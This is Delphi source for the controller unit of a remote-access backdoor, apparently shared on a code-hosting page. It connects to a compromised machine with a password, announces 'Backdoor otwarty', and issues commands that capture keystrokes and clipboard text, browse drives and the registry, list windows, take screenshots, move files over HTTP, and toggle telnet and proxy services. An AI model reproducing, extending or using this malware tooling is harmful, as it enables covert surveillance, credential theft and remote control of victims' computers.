📄 toolsy.pas
字号:
unit toolsy;
interface
uses windows,classes;
type Twin=record
title,nclass:ansistring;
handle:hwnd;
visible:boolean;
minimize,maximize:boolean;
closed:boolean;
enabled:boolean;
ctrl:integer;
end;
Pwin=^Twin;
var conn:boolean;
window,child:Tlist;
selwin,selchild:Pwin;
trwaobsluga:boolean;
sysdirectory,windirectory:string;
netto,netfrom,netnow:integer;
network:string;
currentdir:string;
putfile,getfile:boolean;
putfilename,getfilename:string;
putlocalfile,getlocalfile:string;
filebytes:longint;
f:file;
threadsrunning:integer;
procedure xlog(s:string);
procedure Info(what:integer;par:string);
procedure Send(comm,par1,par2:string);
procedure RefreshWindowList(what:integer);
procedure Listrefresh;
procedure Listrefresh2;
procedure RefreshChildList(hand:hwnd;what:integer);
procedure httpget(remote:string;local:string);
procedure httpput(local,remote:string);
function T_zerojeden(s:string):boolean;
function T_bool(b:boolean):string;
function online_time(par:string):string;
procedure status_req;
implementation
uses main,stale,sysutils,stdctrls;
procedure status_req;
begin
Send('HOST','','');
Send('USER','','');
Send('INFO','',''); sleep(100);
Send('WINVER','','');
Send('ONLINE','','');
Send('STATUS','','');sleep(100);
Send('DRIVES','','');
Send('VERSION','','');
Send('CD','','');sleep(100);
Send('DIR','','');
Send('HTTPDSTAT','','');
Send('NETSTAT','','');sleep(100);
Send('LOGSTATUS','','');
Send('KEYLOGSTATUS','','');
ping_count:=gettickcount;
Send('PING','','');
end;
function T_zerojeden(s:string):boolean;
begin
result:=(s<>'0');
end;
function T_bool(b:boolean):string;
begin
if b then result:='1' else REsult:='0';
end;
procedure xlog(s:string);
begin
form1.memo1.lines.add(s);
end;
procedure Send(comm,par1,par2:string);
begin
if par2<>'' then par2:=' '+par2;
if conn then
form1.klient.socket.sendtext(comm+' '+par1+par2+#13#10);
if form1.debug.checked then form1.memo1.lines.add(comm+' '+par1+par2);
end;
procedure AddWindow(pas:string;vis:boolean);
var tmp:Pwin;
tx:string;
begin
new(tmp);
tmp.handle:=strtointdef(copy(pas,1,pos(' ',pas)-1),0);
if tmp.handle=0 then exit;
pas:=copy(pas,pos(' ',pas)+1,1000);
tmp.title:=copy(pas,1,pos('/',pas)-1);
tmp.nclass:=copy(pas,pos('/',pas)+1,1000);
tmp.visible:=vis;
tmp.closed:=false;
tmp.minimize:=false;
tmp.maximize:=false;
window.add(tmp);
tx:=tmp.title+'/'+tmp.nclass;
if not tmp.visible then tx:=tx+'[hide]';
if tmp.minimize then tx:=tx+'[min]';
if tmp.maximize then tx:=tx+'[max]';
if tmp.closed then tx:=tx+'[closed]';
form1.winlist.Items.Add(tx);
end;
procedure AddChild(pas:string;vis:boolean);
var tmp:Pwin;
begin
new(tmp);
tmp.handle:=strtointdef(copy(pas,1,pos(' ',pas)-1),0);
if tmp.handle=0 then exit;
pas:=copy(pas,pos(' ',pas)+1,1000);
tmp.title:=copy(pas,1,pos('/',pas)-1);
tmp.nclass:=copy(pas,pos('/',pas)+1,1000);
tmp.visible:=vis;
tmp.closed:=false;
tmp.minimize:=false;
tmp.maximize:=false;
tmp.enabled:=true;
tmp.ctrl:=55555;
child.add(tmp);
end;
procedure ListRefresh;
var tx:string;
i:integer;
tmp:Pwin;
old:integer;
begin
old:=form1.winlist.itemindex;
form1.winlist.clear;
for i:=0 to window.count-1 do
begin
tmp:=Pwin(window.items[i]);
tx:=tmp.title+'/'+tmp.nclass;
if not tmp.visible then tx:=tx+'[hide]';
if tmp.minimize then tx:=tx+'[min]';
if tmp.maximize then tx:=tx+'[max]';
if tmp.closed then tx:=tx+'[closed]';
form1.winlist.Items.Add(tx);
end;
form1.winlist.itemindex:=old;
end;
procedure ListRefresh2;
var tx:string;
i:integer;
tmp:Pwin;
old:integer;
begin
old:=form1.childlist.itemindex;
form1.childlist.clear;
for i:=0 to child.count-1 do
begin
tmp:=Pwin(child.items[i]);
tx:=tmp.title+'/'+tmp.nclass;
if not tmp.visible then tx:=tx+'[hide]';
if tmp.minimize then tx:=tx+'[min]';
if tmp.maximize then tx:=tx+'[max]';
if tmp.closed then tx:=tx+'[closed]';
form1.childlist.Items.Add(tx);
end;
form1.childlist.itemindex:=old;
end;
procedure RefreshWindowList(what:integer);
var i:integer;
begin
if what=0 then
begin
if window.count>1 then
for i:=0 to window.count-1 do dispose(window.items[i]);
window.clear;
form1.winlist.clear;
Send('TASKS','','');
exit;
end;
ListRefresh;
end;
procedure RefreshChildList(hand:hwnd;what:integer);
var i:integer;
begin
if what=0 then
begin
if child.count>1 then
for i:=0 to child.count-1 do dispose(child.items[i]);
child.clear;
Send('WCHILD',inttostr(hand),'');
exit;
end;
ListRefresh2;
end;
procedure httpget(remote:string;local:string);
begin
filebytes:=0;
getfilename:=remote;
getfile:=true;
getlocalfile:=local;
form1.http.port:=strtointdef(form1.httpdport.text,12345);
if form1.hostname.text[1] in ['0'..'9'] then
form1.http.Address:=form1.hostname.text else
form1.http.host:=form1.hostname.text;
form1.http.active:=true;
form1.dirstatus.caption:='file request';
end;
procedure httpput(local,remote:string);
begin
putlocalfile:=local;
putfilename:=remote;
putfile:=true;
form1.http.port:=strtointdef(form1.httpdport.text,12345);
if form1.hostname.text[1] in ['0'..'9'] then
form1.http.Address:=form1.hostname.text else
form1.http.host:=form1.hostname.text;
form1.http.active:=true;
form1.dirstatus.caption:='file send'
end;
procedure ref(item1,item2:TEdit;s:string);
begin
item1.text:=copy(s,1,pos(' ',s)-1);
item2.text:=copy(s,pos(' ',s)+1,100);
end;
procedure ref2(item1,item2:TCombobox;s:string);
begin
item1.itemindex:=strtointdef(copy(s,1,pos(' ',s)-1),0);
item2.itemindex:=strtointdef(copy(s,pos(' ',s)+1,100),0);
end;
function online_time(par:string):string;
var tmp:longint;
h,m,s:integer;
begin
tmp:=strtointdef(par,0);
s:=(tmp mod 60);
tmp:=tmp div 60;
m:=(tmp mod 60);
h:=(tmp div 60);
online_time:=inttostr(h)+':'+inttostr(m)+':'+inttostr(s);
end;
procedure Info(what:integer;par:string);
var letter:char;
i,typ:integer;
tmp:string;
begin
case what of
Inf_Version : begin
xlog('version '+par);
form1.prover.caption:=par;
end;
Inf_WaitforPass : begin
Send('PASS',form1.pass.text,'');
end;
Inf_Access : begin
xlog('Backdoor otwarty');
status_req;
end;
Inf_info:form1.ident.caption:=par;
Inf_online: form1.online.caption:=online_time(par);
Inf_AccessDenied : xlog('Bad password');
Inf_taskstart : ;
Inf_Wininfo : AddWindow(par,true);
Inf_wininfo3 : if form1.invisible.checked then Addwindow(par,false);
Inf_Wininfo2 : RefreshWindowList(1);
Inf_ChildInfo : AddChild(par,true);
Inf_ChildInfo2 : RefreshChildList(0,1);
Inf_ChildInfo3 : AddChild(par,false);
Inf_StartDir : begin form1.filelist.clear;
form1.dirlist.clear;
form1.dirstatus.caption:='dir start';
end;
Inf_StopDir : form1.dirstatus.caption:='dir complete';
Inf_File : begin form1.filelist.items.add(par);
tmp:=copy(par,1,pos(' ',par)-1);
tmp:=uppercase(ExtractfileExt(tmp));
form1.dirstatus.caption:='receiving..';
end;
Inf_Dir : begin if par='.' then par:='\';
form1.dirlist.items.add(par);
end;
Inf_CurrDir : begin
form1.dircurr.caption:=par;
currentdir:=par;
for typ:=0 to form1.drivelist.items.count-1 do
if upcase(form1.drivelist.Items[typ][1])=par[1] then
form1.drivelist.itemindex:=typ;
end;
Err_DirNotFound,Err_BadFileName,
Err_LongFile,Err_Deletefail,Err_CreateDir: form1.lasterror.caption:=par;
Inf_drivestart : form1.drivelist.Items.clear;
Inf_drivestop : ; {drivelist end}
Inf_drive : begin
letter:=par[1];
typ:=strtointdef(copy(par,3,1),1);
case typ of
2 : tmp:='floppy';
3 : tmp:='hdd';
4 : tmp:='network';
5 : tmp:='CD-ROM';
6 : tmp:='RAM-disk';
end;
form1.drivelist.Items.Add(upcase(letter)+' '+tmp);
end;
Inf_Clip : form1.cliptext.text:=par;
Err_ClipBusy : form1.cliptext.text:='Schowek zaj阾y';
Inf_sysdir : begin
sysdirectory:=par;
end;
Inf_windir : begin
windirectory:=par;
end;
Inf_profile : form1.regfile.text:=par;
Inf_proxylocal : form1.proxylocal.text:=par;
Inf_proxyremote : begin
form1.proxyremote.text:=copy(par,1,pos(':',par)-1);
form1.proxyremoteport.text:=copy(par,pos(':',par)+1,255);
end;
Inf_remoteIP : form1.remoteip.caption:=par;
Inf_username : form1.uname.caption:=par;
Inf_hostname : form1.hname.caption:=par;
Inf_ScrDone : begin
form1.gauge2.progress:=20;
httpget(sysdirectory+'\'+picturefile,windir+'\'+picturefile);
end;
Inf_screenxy : form1.label32.caption:=par;
Inf_memoryinfo : form1.label30.caption:=par;
Inf_scripts : form1.scriptlist.Items.add(par);
Inf_terminy : form1.terminlist.items.add(par);
Inf_typescript:form1.scriptedit.lines.add(par);
Inf_httpdport:form1.httpdport.text:=par;
Inf_TerminComm:form1.termincomm.text:=par;
Inf_TerminEnabled:form1.terminenabled.checked:=t_zerojeden(par);
Inf_TerminHowmany:form1.ilerazy.text:=par;
Inf_TerminRandom:form1.random1.position:=strtointdef(par,100);
Inf_TerminCoile:form1.coile.text:=par;
Inf_TerminYear:ref(form1.yr1,form1.yr2,par);
Inf_TerminMonth:ref(form1.m1,form1.m2,par);
Inf_TerminDay:ref(form1.d1,form1.d2,par);
Inf_TerminHour:ref(form1.h1,form1.h2,par);
Inf_TerminMinute:ref(form1.mi1,form1.mi2,par);
Inf_TerminDw:ref2(form1.dw1,form1.dw2,par);
Inf_TerminScript:form1.terminscripts.items.add(par);
Inf_pong:form1.ping.caption:=inttostr(GetTickCount-ping_count);
Inf_httpdauto:form1.i_httpdauto.checked:=t_zerojeden(par);
Inf_localIP:;
Inf_ok:form1.mesg_info.Lines.add('Nacisnieto OK');
Inf_cancel:form1.mesg_info.Lines.add('Nacisnieto Cancel');
Inf_key:begin
if not form1.i_syskey.checked then if (par[1]='{') and (length(par)>1) then exit;
form1.keyscan.Lines.Text:=form1.keyscan.text+Par;
end;
Inf_chwin:if form1.i_apptitle.checked
then form1.keyscan.Lines.Text:=form1.keyscan.text+nl+'['+Par+']'+nl;
Inf_logenabled:form1.i_syslog.checked:=t_zerojeden(par);
Inf_keylogenabled:form1.i_keylog.checked:=t_zerojeden(par);
Inf_logfile:form1.i_syslogfile.text:=par;
Inf_keylogfile:form1.i_keylogfile.text:=par;
Inf_autosys:form1.i_autosyslog.checked:=t_zerojeden(par);
Inf_autokey:form1.i_autokeylog.checked:=t_zerojeden(par);
Inf_httpd:form1.i_httpd.checked:=t_zerojeden(par);
Inf_proxystart:form1.i_proxy.checked:=t_zerojeden(par);
Inf_backport:form1.i_backport.text:=par;
Inf_mailhost:form1.i_mailhost.text:=par;
inf_winver:form1.winver.caption:=Par;
inf_proxyauto:form1.i_proxyauto.checked:=t_zerojeden(par);
inf_telnetauto:form1.i_telnetauto.checked:=t_zerojeden(par);
inf_telnet:form1.i_telnet.checked:=t_zerojeden(par);
inf_telnetport:form1.i_telnetport.text:=par;
inf_sharestart:form1.msnet.Clear;
inf_share:form1.msnet.lines.add(par);
inf_cdinfo:form1.cdtracks.items.add(par);
inf_mouse:begin
// form1.shape1.left:=strtointdef(copy(par,1,pos(' ',par)-1),0);
// form1.shape1.top:=strtointdef(copy(par,pos(' ',par)+1,255),0);
end;
inf_regkeys:form1.RegList.Items.add(par);
inf_regvals:begin
i:=form1.ValList.RowCount;
form1.ValList.RowCount:=i+1;
form1.ValList.Cells[0,i-1]:=par;
end;
inf_regvalue:begin
i:=form1.ValList.RowCount;
form1.ValList.RowCount:=i;
form1.ValList.Cells[1,i-2]:=par;
end;
inf_regstart:;
inf_root:form1.regkey.caption:=par;
else xlog('Bad command ('+inttostr(what)+') '+par);
end;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -